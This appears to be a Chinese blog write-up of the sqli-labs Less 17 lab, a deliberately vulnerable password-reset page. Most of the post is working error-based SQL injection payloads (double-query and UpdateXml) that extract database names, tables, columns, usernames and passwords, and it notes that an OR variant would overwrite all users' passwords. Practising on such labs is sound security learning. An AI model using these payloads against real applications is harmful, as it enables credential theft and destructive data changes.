zoukankan      html  css  js  c++  java
  • 【sqli-labs】 less17 POST

    这是一个重置密码界面,查看源码可以看到username作了防注入处理

    逻辑是先通过用户名查出数据,在进行密码的update操作

    所以要先知道用户名,实际情况中可以注册用户然后实行攻击,这里先用admin演示

    这和前几个less都不一样,并不能 通过union select进行查询其他数据,但是由于update语句的出错信息没有被屏蔽,所以可以基于错误进行注入。

    收集了一下,有两个方法可以实行注入取出数据,构造类似双注入的查询报错和使用updatexml函数进行报错

    双注入构造下面的SQL语句执行,爆出当前用户root@localhost

    UPDATE users SET password='123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#' WHERE username='admin';

    对应的payload

    uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

    当前数据库中的表名

    payload

    uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

    选定users表获取列名

    uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

    取数据

    username

    uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT username FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

    password

    uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

    第一个用户Dumb Dumb

    另一个方法是使用UpdateXml函数

    构造如下SQL语句

    同样的通过报错的方式拿到信息

    UPDATE users SET password='123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)

    获取当前数据库

    uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)#

    获取表名

    uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#

    uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1)#

    得到数据库security目标表users目标表字段id,username,password

    但是这里并不能通过单纯的查询来完成,比如

    uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#

    意图构造

    UPDATE users SET password='123' AND UpdateXml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#'WHERE username='admin';

    这个语句在MySQL中是会报错的(你不可以在同一语句中对一张表进行select再update)

    解决的办法是构造出一张中间表,a是别称

    UPDATE users SET password='123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 0,1) a),0x7e),1)#'WHERE username='admin';

    payload

    uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 1,1) a),0x7e),1)#

    密码

    uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

    有一点需要注意,使用UpdateXml函数时,如果构造这样的语句会报一个类型错误

    UPDATE users SET password='a' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#' WHERE username='admin'

    password='a'

    password='123'时注入回显正常

    这个和单字符没有关系,因为password='abc'时一样的报错

    既然这个报错在UpdateXml函数之前,那么推测是And运算报的错误,做一个测试

    sleep函数执行了,说明and运算执行了,那么'123'转换成布尔必定是1,因为如果转换是0的话and运算就不会执行

    而'abc'转换bool必定是0,and运算没有执行,延时没有出现

    为什么要执着于此,如果使用了OR构造下面这种payload,UpdateXml函数没有得到执行,语句没有报错,正常执行的结果会替换掉所有的用户密码

    uname=admin&passwd=123' OR UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

    用'abc'时就会执行OR出现报错

    uname=admin&passwd=abc' OR UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

    所以对Update语句进行注入一定要谨慎

  • 相关阅读:
    GreenPlum 锁表以及解除锁定
    Postgresql 解决锁表
    Greenplum 查看连接与锁信息数据字典
    Greenplum 常用数据字典
    Linux 内核参数说明
    Greenplum 如何直连segment节点
    GreenPlum 数据备份与恢复
    unity 获取DontDestroyOnLoad的游戏对象
    scheduleOnce时出错,CCScheduler#scheduleSelector. Selector already scheduled. Updating interval from: 0 to 0"
    正比适配,留黑边
  • 原文地址:https://www.cnblogs.com/omnis/p/8343507.html
Copyright © 2011-2022 走看看